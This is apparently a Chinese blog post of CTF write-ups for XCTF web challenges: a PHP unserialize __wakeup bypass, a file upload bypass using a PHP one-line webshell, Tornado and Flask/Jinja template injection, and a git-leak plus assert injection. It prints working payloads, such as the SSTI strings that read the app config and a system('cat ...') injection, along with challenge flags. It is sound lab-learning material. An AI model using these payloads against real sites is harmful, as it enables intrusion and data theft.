欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注
目录
013unserialize3
014upload1
015Web_python_template_injection
016 easytornado
017shrine
018mfw
013unserialize3
经典的反序列化绕过wake_up魔术方法姿势,表示属性个数的值大于真实属性个数时,会绕过 _wakeup 函数的执行。我还是推荐官网的教程,实在太经典了,大爱❥(^_-)详解之php反序列化-php教程-PHP中文网
一进去这道题,源码直接:
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=
定义了一个xctf类,一个叫做flag的属性值为‘111’,一个——wakeup魔术方法如果没有绕过就会返回bad request的响应,提示我们通过code传参:
014upload1
这是一道相对比较基础的upload题目,我们发现需要上传的文件必须是jpg或者png后缀否则不能够点击上传按钮。这就是一个白名单绕过,一开始我想着用图片一句话木马,但是蚁剑识别不了后缀为jpg的文件,所以用了BP,发送一张图片过去,然后在内容部分加上你的一句话PHP,并且把文件后缀改为jpg(不好意思这里忘记截图了QAQ)。接着用蚁剑连接:
015Web_python_template_injection
关于模板注入涉及到许多框架、面向对象编程的知识,我需要补充一下了,推荐廖雪峰的Python网站,暂时先停止一段时间的更新,因为毕设开题了,参考的大佬博客:https://www.xf1433.com/4263.html 和攻防世界-Web_python_template_injection详解_Mr H的博客-CSDN博客
016 easytornado
这题没学过SSTI模板注入是真的不会……参考大佬资料的,2018护网杯easy_tornado(BUUCTF提供复现)_大千SS的博客-CSDN博客看完之后觉得自己有必要学习不同框架的网站的注入了,首先,这是一个tornado框架的web网站,其中存在{{}}模板注入,查资料可以得知,在{{}}中输入某些内容可以达到类似于SQL注入的效果,我们发现如果输入错误的url就会得到一个ERROR网站,题目是easy_tornado,/welcome.txt页面也看到render,可能会是SSTI模板注入(SSTI模板注入详解)尝试进行验证:
传递error?msg={{2}},页面出现2
传递error?msg={{2*3}},页面出现ORZ(但并不是cookie)
尝试除和减操作符也是)返回ORZ,说明是操作符被过滤了。那么tornado中的cookie通过模板注入要怎么拿到呢?用的就是handler.settings对象,官方手册可知:Templates and UI — Tornado 6.2.dev1 documentation
handler 指向RequestHandler(handler是RequestHandler的别名)
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了
017shrine
单单看这个名字我就感觉不简单,翻译过来是“神社、圣地”,浓浓的中二气息23333。。。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')#某个条件需要满足,我们设置app.config包含FLAG字段
#那么这句话的意思可以理解为我们把flag存入全局变量栈里面,赋值给当前app的config字典中的FLAG键
@app.route('/')#在当前网页目录下(也就是我们一打开这道题的容器所看到的默认网页)
def index(): #和index函数绑定,显示index函数的内容
return open(__file__).read()#显示读取当前网页代码(内容)
@app.route('/shrine/') #在url/shrine目录下显示如下内容
def shrine(shrine):
def safe_jinja(s): #有jinja说明存在模板注入{{}}
s = s.replace('(', '').replace(')', '')#把左括号和右括号都用空格替换,一个过滤点了
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
#如果我们在{{}}内注入的payload中包含config或者self字段,会被过滤掉
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
这里我还没想好怎么写怎么一步一步从基础讲起,目前还在学习flask框架编写,参考歪果仁大佬博客:XCTF-shrine - R3col - 博客园
(等我学好了详细从头讲解到位,先贴一个flag在这里,不久一定整理好语言和语法详细每一步每一行写下来:flag{shrine_is_good_ssti})
我是在w3cschool官网上面学习的flask,用Spyder3编写案例:Flask 应用_w3cschool
在我大概了解一下沙盒逃逸和flask框架的知识之后,我加上了注释,这道题的目标成了绕过左引号、右引号、self、config的禁止……其中,绕过()只能不用(),绕过self、config可以用沙盒逃逸技术中的调用他们的上层全局变量(比如config——app)来访问他们。(沙盒逃逸知识可以参考二向箔学院:CTF|有关SSTI的一切小秘密【Flask SSTI+姿势集+Tplmap大杀器】 - 知乎)
这题运用的payload是:
/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
或者:
{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}
018mfw
在URL之间跳来跳去,查看网页源码发现存在一个git目录,考虑git泄露(ctf中常见知识点):
于是打开page=flag,却发现是空的
这是index.php文件源码
我吐了,真的是厚颜无耻的题目,好不容易找到flag.php居然是空的。那怎么办,构造index.php中的file文件载荷(也就是我们输入URL):
page=xxxxx') or system("cat templates/flag.php");//
第一个引号和)用于闭合之前的strpos函数,后面的or逻辑的意思就是如果前一个函数错误就执行下一个,加上assert的功能——把括号里面的字符当做代码执行:
?php $FLAG="cyberpeace{d48061e52798d1e7ec33752f6be60265}"; ?